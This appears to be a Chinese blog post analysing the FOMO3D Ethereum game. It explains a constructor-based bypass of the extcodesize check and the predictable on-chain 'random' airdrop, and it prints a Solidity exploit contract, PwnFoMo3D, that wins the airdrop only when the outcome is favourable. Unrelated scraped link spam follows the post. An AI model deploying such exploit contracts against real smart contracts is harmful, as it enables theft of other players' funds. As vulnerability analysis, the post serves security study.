七月初推出的一款资金盘游戏fomo3d,终于在十几天后成功引爆了中国的链圈和币圈。

游戏规则介绍

在每一局游戏的开始,玩家都可以用以太币ETH来购买游戏道具key,相当于往资金盘里的投资。游戏的倒计时为24小时,每当有新人买入key时,游戏就会自动延长30s,但网页上的倒计时仍为24小时。

截止发文,Time Purchased已经增长到了30+年,大家可以自行计算有多少人买入了key。

最终这个资金盘的资金将会有7个流向:

  • 滚入下一轮游戏
  • 本轮游戏的奖金
  • P3D Token奖励
  • 佣金奖励
  • 社区基金
  • 社区基金
  • 空投
  • 系统运行成本

最后一个买key的人将会拿走资金盘中的48%的以太币,作为奖励。看看首页的数字,就可以想见游戏的疯狂程度。

安全隐患

截至发稿,没有重大安全漏洞披露,即管理者后门或者攻击者直接可以转移合约内ETH的漏洞,可暂时视为安全。不过还是有一个小漏洞值得大家关注,即modifier对普通账户(外部账户)和合约账户的判断。其初衷是好的,保证散户玩家的公平性,但是由于判断逻辑的偏差直接导致了该方法失效。

下图是从etherscan网站上合约地址中的代码截图:

此修改器用于限制调用方法者只能是普通账户(无法执行复杂的代码,也无法重入)。其中,通过判断地址内的extcodesize是否为0来判断该地址是否为普通账户。但是当合约正在执行构造函数并部署时,其extcodesize也为0,也就是说合约完全可以通过在constructor中调用方法而绕过该判断。

攻击的方向有了,下面就剩下从哪里下手了。

这时我们注意到空投逻辑:

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));if((seed - ((seed / 1000) * 1000)) < airDropTracker_)return(true);elsereturn(false);
}

大家可以看到,与其说是随机数,不如说是基于链状态的伪随机数。此时,我们可以不断地部署合约并在合约的constructor中计算随机数的值,一旦发现有利可图,就可以调用FOMO3d合约中的相应方法。

接下来,我们浏览完整的代码,找到airdrop()在哪里被使用,我们就可以发现:

  • 只要玩家投入超过0.1-1ETH,就有机会可以赢得空投奖池的25%;
  • 投入1-10ETH,有机会赢得空头奖池的50%;
  • 投入10+ETH,则有机会赢得空投奖池的75%;

上面提到的有机会,就是指上面的伪随机数的计算符合要求。

到这里,最后一块拼图也补齐了。我们可以创造一个智能合约,通过计算随机数,就可以100%获得空投。我们给出了一个代码范例如下图(友情提醒:下面的代码未经测试,是仅表示思路的“伪代码”,并不保证功能上的成功):

pragma solidity ^0.4.24;interface FoMo3DlongInterface {function airDropTracker_() external returns (uint256);function airDropPot_() external returns (uint256);function withdraw() external;
}contract PwnFoMo3D {constructor() public payable {// Link up the fomo3d contract and ensure this whole thing is worth itFoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);if (fomo3d.airDropPot_() < 0.4 ether) {revert();}// Calculate whether this transaction would produce an airdrop. Take the// "random" number generator from the FoMo3D contract.uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp) +(block.difficulty) +((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +(block.gaslimit) +((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +(block.number))));uint256 tracker = fomo3d.airDropTracker_();if((seed - ((seed / 1000) * 1000)) >= tracker) {revert();}// Ok, seems we can win the airdrop, pwn the contractaddress(fomo3d).call.value(0.1 ether)();fomo3d.withdraw();selfdestruct(msg.sender);}
}

再次提醒,上面的代码未经测试。因为每次调用airdrop都意味着我们必须损失0.1个以太币,仅当你确保你的空投奖励大于0.1以太币时,上述方法才值得尝试。也就是说只有空投奖池总共需要大于0.4以太币。已经有人尝试空投攻击2天了:

https://etherscan.io/txs?a=0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3

https://etherscan.io/tx/0x86c3ff158b7e372e3e2aa964b2c3f0ca25c59f7bcc95a13fd72b139c0ab6f7ad

通过浏览其中一笔成功的交易我们可以看到,攻击者的代码更加复杂:他们尝试通过部署新合约来获得超额的空投奖励,但是当随机数计算不通过时,选择迭代创建合约直到有一个成功的,而不是选择使用revert()

关于该漏洞的团队回应

对此,团队本身的态度很随意, 表示一切尽在预料之内。并解释airdrops只是独立的非常小的奖金池,攻击也无伤大雅。(此条推特貌似已删除)

FOMO3d VS ethereum foundation

自从fomo3d大火之后,该团队一直尝试在twitter上呼叫V神,以发现且公开EVM诸多重大漏洞为要挟呼叫V神正面回应:

,并插播各种战果炫耀图(参加人数、集资速度和量级、造成以太坊堵塞程度历史罕见等)。从一开始的殷切呼唤,到始终没有得到V神正面回复之后表演失望。

此间,以太坊的team leader - peter倒是有过回应,表示这并不是漏洞,这些现象/行为都是文档里提到过的,不要想着用这种大众敏感词吸引注意力。想蹭V神热度的话,请报点猛料好么。

参考链接:

https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide/

最后,不知道大家对这个“庞氏游戏”有什么自己的看法,可以尽情留言。

【FOMO3d】 的隐藏彩(lou)蛋(dong)相关推荐

  1. 微信翻译生日快乐的代码_微信「隐藏彩蛋」,你发现了没?

    高考加油 愿所有的好运与你相伴,愿在考场的你超常发挥! 这两天就是一年一度的高考的日子,虽特殊,但依旧是一个奋斗的夏季. 相信大家平常使用微信无非就是聊聊天.打打电话什么的,也有部分小小的彩蛋功能被大 ...

  2. 怎么添加本地音乐_网易云音乐:60G免费云盘+隐藏彩蛋、技巧

    最近,网易云音乐相继与腾讯音乐.阿里音乐达成音乐版权互相转授权的合作,成功拿下了华研国际的全曲库.以及滚石.S.M.. BMG等优质的音乐版权.这对于网易云音乐的用户来说绝对是一个大好消息- 不过,网 ...

  3. 谷歌搜索技巧:搜索语法+隐藏彩蛋+高级设置

    Google是一个非常精密成熟的搜索引擎,其搜索结果的丰富性和准确度较其他搜索引擎都要好,但大多数用户都还只是停留在搜索框中输入一两个关键字,然后点击"搜索"按钮的阶段,这一过程是 ...

  4. 隐藏与显现_原神:芭芭拉的隐藏彩蛋你知道吗?对着游戏npc用技能就可显现

    亲爱的冒险者们,欢迎大家来到<原神>游戏世界. 4星水元素英雄芭芭拉擅长治疗,是不可多得的辅助型角色,芭芭拉的元素属性可以和冰元素或火元素角色形成配合,实战中可以发挥的空间比较大,适合新手 ...

  5. python彩蛋_python 隐藏彩蛋

    python隐藏彩蛋,描叙了python的设计原则.只需要键入 import this The Zen of Python, by Tim Peters Beautiful is better tha ...

  6. 华为手机android9隐藏游戏的方法,Android 9.0隐藏彩蛋揭秘,让手机秒变涂鸦板

    熟悉Android系统的小伙伴都知道,自Android 2.3开始,谷歌就会为系统加入一些隐藏彩蛋.每个系统的彩蛋都不同,有的是小游戏,有的是动画.Android 2.3的是姜饼人,Android 3 ...

  7. 谷歌搜索技巧:搜索语法 隐藏彩蛋 高级设置

    谷歌搜索技巧:搜索语法 隐藏彩蛋 高级设置 Google是一个非常精密成熟的搜索引擎,其搜索结果的丰富性和准确度较其他搜索引擎都要好,但大多数用户都还只是停留在搜索框中输入一两个关键字,然后点击&qu ...

  8. flyme7 android彩蛋,魅蓝S6更新Flyme 7后惊现隐藏彩蛋?用户:能否再来个虚化

    原标题:魅蓝S6更新Flyme 7后惊现隐藏彩蛋?用户:能否再来个虚化 2018年1月17日,随着魅蓝在北京国家会议中心举办新品发布会,魅蓝S6正式与我们见面.而根据魅蓝官博发布的海报所知,凭借魅蓝S ...

  9. 有幸一睡鸿蒙窍,《鸿蒙之初》超详细内容介绍附带隐藏彩蛋解锁方法

    原标题:<鸿蒙之初>超详细内容介绍附带隐藏彩蛋解锁方法 <鸿蒙之初>超详细内容介绍附带隐藏彩蛋解锁方法 开局选好英雄后,把新手全部接了.但是螃蟹任务一定要注意哦,几率获得两个新 ...

最新文章

  1. CStopwatch详细用法
  2. boost::regex模块部分正则表达式迭代相关的测试程序
  3. TI DAVINCI开发原理(总共5部分)
  4. Java并发(理论知识)—— 线程安全性
  5. 从IT的角度思考BIM(二):模式与框架
  6. 一个wepy开发微信小程序时图片在真机上不显示的问题
  7. React-表单处理(受控组件,非受控组件)
  8. c#读取csv文件成DataTable,将DataTable数据存储为csv格式文件
  9. 大白话5分钟带你走进人工智能-第一节开篇介绍以及线性回归简介篇
  10. 【ML小结12】隐马尔科夫模型HMM
  11. 结构梁配筋最牛插件_Revit结构出图案例分享
  12. 黑苹果开启核显加速_【黑苹果】关于双显卡正确开启核显加速
  13. HIT CSAPP hello的一生
  14. VM虚拟机安装及使用
  15. 学生用计算机中括号怎么打,大括号怎么打,教您word大括号怎么输入
  16. 【Java代码】MP3、flac歌曲批量生成同名的“xxx.lrc”歌词文件导入索尼黑砖二代
  17. 键盘Ctrl键坏了,用注册表来修
  18. 使用python获取中国证券投资基金业协会上数据
  19. java课程培训中心
  20. 每日新闻 | 特斯拉“太空跑车”完成第一圈绕日飞行 向火星靠近

热门文章

  1. 小白学python(爬虫知识1(大体框架)
  2. [wp7软件]相机 画图 截屏 photo 集合 软件(一)
  3. win系统加入方舟服务器秒退,win10方舟生存进化进服务器闪退解决方法
  4. QQ网页登陆密码加密方式农场、空间、WebQQ等通用
  5. APP的文件数据直传腾讯云COS实践
  6. 冯诺依曼体系结构 —(收藏版)
  7. 视频GPU硬解码方案对比
  8. Python3版本Django实现免费手机验证码注册
  9. java计算机毕业设计ssm基于SSM学生信息管理系统37myx(附源码、数据库)
  10. linux终端加密,在Linux系统上安装和使用VeraCrypt加密的方法